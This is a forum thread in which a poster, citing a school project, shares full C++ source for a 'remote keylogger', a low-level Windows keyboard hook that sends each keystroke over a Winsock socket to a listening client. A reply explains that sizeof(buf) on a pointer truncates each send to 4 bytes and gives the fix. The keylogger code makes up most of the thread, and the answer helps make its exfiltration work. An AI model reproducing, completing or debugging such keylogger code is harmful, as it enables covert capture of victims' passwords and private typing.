I am writing an application that needs to send data over a network. I have the application completed but there is a problem with sending the data. Every time I send a piece of data, it is cut off after 4 characters and the rest is garbage. The application is a remote keylogger I am writing for a school project, which requires you to demonstrate the usage of hooks and winsock. We are allowed to ask for help on forums. Any help would be appreciated!
Here’ the code:
Server:
// rkl.cpp : Defines the entry point for the application. // #include 'stdafx.h' #include 'rkl.h' #include <windows.h> #include <stdio.h> SOCKET kSock; LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam); int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { WSAData wsdata; WORD wsver=MAKEWORD(2, 0); int nret=WSAStartup(wsver, &wsdata); if(nret != 0) { MessageBoxA(0,'Error 0','Error',MB_OK); WSACleanup(); return -1; } kSock=socket(AF_INET, SOCK_STREAM, 0); if(kSock == INVALID_SOCKET) { MessageBoxA(0,'Error 1','Error',MB_OK); return -1; } sockaddr_in sin; sin.sin_port=htons(808); sin.sin_addr.s_addr=inet_addr('127.0.0.1'); sin.sin_family=AF_INET; if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) { MessageBoxA(0,'Error 2','Error',MB_OK); WSACleanup(); return -1; } HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); char buf1[256]; char* buf = buf1; buf = 'Test'; send(kSock,buf,sizeof(buf),0); MessageBoxA(0,'Press ok to stop logging.','Waiting...',MB_OK); closesocket(kSock); return 0; } LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); if (wParam == WM_KEYDOWN) { char* buf; char tl[256]; buf = tl; buf = itoa(p->vkCode,buf,10); int tmp; tmp = atoi(buf); if(tmp != 0) { switch (tmp) { case VK_BACK: buf = '<BACKSPACE>'; break; case VK_TAB: buf = '<TAB>'; break; case VK_CLEAR: buf = '<CLEAR>'; break; case VK_RETURN: buf = '<ENTER>'; break; case VK_SHIFT: buf = '<SHIFT>'; break; case VK_CONTROL: buf = '<CTRL>'; break; case VK_MENU: buf = '<ALT>'; break; case VK_PAUSE: buf = '<PAUSE>'; break; case VK_CAPITAL: buf = '<CAPS LOCK>'; break; case VK_ESCAPE: buf = '<ESC>'; break; case VK_SPACE: buf = '<SPACEBAR>'; break; case VK_PRIOR: buf = '<PAGE UP>'; break; case VK_NEXT: buf = '<PAGE DOWN>'; break; case VK_END: buf = '<END>'; break; case VK_HOME: buf = '<HOME>'; break; case VK_LEFT: buf = '<LEFT ARROW>'; break; case VK_UP: buf = '<UP ARROW>'; break; case VK_RIGHT: buf = '<RIGHT ARROW>'; break; case VK_DOWN: buf = '<DOWN ARROW>'; break; case VK_SELECT: buf = '<SELECT>'; break; case VK_PRINT: buf = '<PRINT>'; break; case VK_EXECUTE: buf = '<EXECUTE>'; break; case VK_SNAPSHOT: buf = '<PRINT SCREEN>'; break; case VK_INSERT: buf = '<INSERT>'; break; case VK_DELETE: buf = '<DEL>'; break; case VK_HELP: buf = '<HELP>'; break; case VK_LWIN: buf = '<Left Windows key>'; break; case VK_RWIN : buf = '<Right Windows key>'; break; case VK_APPS: buf = '<Applications key>'; break; case VK_SLEEP: buf = '<Computer Sleep key>'; break; case VK_NUMPAD0: buf = '0'; break; case VK_NUMPAD1: buf = '1'; break; case VK_NUMPAD2: buf = '2'; break; case VK_NUMPAD3: buf = '3'; break; case VK_NUMPAD4: buf = '4'; break; case VK_NUMPAD5: buf = '5'; break; case VK_NUMPAD6: buf = '6'; break; case VK_NUMPAD7: buf = '7'; break; case VK_NUMPAD8: buf = '8'; break; case VK_NUMPAD9: buf = '9'; break; case VK_MULTIPLY: buf = '*'; break; case VK_ADD: buf = '+'; break; case VK_SEPARATOR: buf = '<Separator key>'; break; case VK_SUBTRACT: buf = '-'; break; case VK_DECIMAL: buf = '.'; break; case VK_DIVIDE: buf = '/'; break; case VK_F1: buf = '<F1>'; break; case VK_F2: buf = '<F2>'; break; case VK_F3: buf = '<F3>'; break; case VK_F4: buf = '<F4>'; break; case VK_F5: buf = '<F5>'; break; case VK_F6: buf = '<F6>'; break; case VK_F7: buf = '<F7>'; break; case VK_F8: buf = '<F8>'; break; case VK_F9: buf = '<F9>'; break; case VK_F10: buf = '<F10>'; break; case VK_F11: buf = '<F11>'; break; case VK_F12: buf = '<F12>'; break; case VK_NUMLOCK: buf = '<NUM LOCK>'; break; case VK_SCROLL: buf = '<SCROLL LOCK>'; break; case VK_LSHIFT: buf = '<Left SHIFT>'; break; case VK_RSHIFT: buf = '<Right SHIFT>'; break; case VK_LCONTROL: buf = '<Left CONTROL>'; break; case VK_RCONTROL: buf = '<Right CONTROL>'; break; case VK_LMENU: buf = '<Left MENU>'; break; case VK_RMENU: buf = '<Right MENU>'; break; case VK_BROWSER_BACK: buf = '<Browser Back key>'; break; case VK_BROWSER_FORWARD: buf = '<Browser Forward key>'; break; case VK_BROWSER_REFRESH: buf = '<Browser Refresh key>'; break; case VK_BROWSER_STOP: buf = '<Browser Stop key>'; break; case VK_BROWSER_SEARCH: buf = '<Browser Search key >'; break; case VK_BROWSER_FAVORITES: buf = '<Browser Favorites key>'; break; case VK_BROWSER_HOME: buf = '<Browser Start and Home key>'; break; case VK_VOLUME_MUTE: buf = '<Volume Mute key>'; break; case VK_VOLUME_DOWN: buf = '<Volume Down key>'; break; case VK_VOLUME_UP: buf = '<Volume Up key>'; break; case VK_MEDIA_NEXT_TRACK: buf = '<Next Track key>'; break; case VK_MEDIA_PREV_TRACK: buf = '<Previous Track key>'; break; case VK_MEDIA_STOP: buf = '<Stop Media key>'; break; case VK_MEDIA_PLAY_PAUSE: buf = '<Play/Pause Media key>'; break; case VK_LAUNCH_MAIL: buf = '<Start Mail key>'; break; case VK_LAUNCH_MEDIA_SELECT: buf = '<Select Media key>'; break; case VK_LAUNCH_APP1: buf = '<Start Application 1 key>'; break; case VK_LAUNCH_APP2: buf = '<Start Application 2 key>'; break; case VK_OEM_1: buf = '<;:' key >'; break; case VK_OEM_PLUS: buf = '+'; break; case VK_OEM_COMMA: buf = ','; break; case VK_OEM_MINUS: buf = '-'; break; case VK_OEM_PERIOD: buf = '.'; break; case VK_OEM_2: buf = '</?' key >'; break; case VK_OEM_3: buf = '<`~' key >'; break; case VK_OEM_4: buf = '<[{' key>'; break; case VK_OEM_5: buf = '<\|' key>'; break; case VK_OEM_6: buf = '<]}' key>'; break; case VK_OEM_7: buf = '<single-quote/double-quote' key>'; break; case VK_OEM_CLEAR: buf = '<Clear>'; break; default: buf[0] = char(tmp); buf[1] = char(0); buf[2] = char(0); buf[3] = char(0); buf[4] = char(0); buf[5] = char(0); buf[6] = char(0); buf[7] = char(0); buf[8] = char(0); } send(kSock,buf,sizeof(buf),0); } return CallNextHookEx(NULL, nCode, wParam, lParam); } }
Client:
// lkv.cpp : Defines the entry point for the console application. // #include 'stdafx.h' #include <windows.h> #include <iostream> int main() { WSAData wsdata; WORD wsver=MAKEWORD(2, 0); int nret=WSAStartup(wsver, &wsdata); if(nret != 0){ std::cout<<'Startup failed, error code: '<<WSAGetLastError(); WSACleanup(); return -1; } std::cout<<'Init success\n'; SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0); if(kSock == INVALID_SOCKET){ std::cout<<'Socket init failed'; return -1; } std::cout<<'Socket initialized\n'; sockaddr_in sin; sin.sin_port=htons(808); sin.sin_addr.s_addr=INADDR_ANY; sin.sin_family=AF_INET; if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){ std::cout<<'Failed to bind\n'; WSACleanup(); return -1; } std::cout<<'Bind successful!\n'; while (listen(kSock, SOMAXCONN) == SOCKET_ERROR); SOCKET client; int len = sizeof(sin); client=accept(kSock, (sockaddr*)&sin, &len); std::cout<<'Connection established!\n'; int i; for(;;) { char buf[22]; recv(client, buf, sizeof(buf), 0); std::cout << buf; } closesocket(client); closesocket(kSock); WSACleanup(); return 0; }
In your server side, your send line is:
And buf is a char*. The size of a char* in your case in 4 bytes, so you’re telling send to send 4 bytes of data, when you really want to send the size of the buffer which is strlen(buf)+1 (The plus one is to include the terminating zero of the string).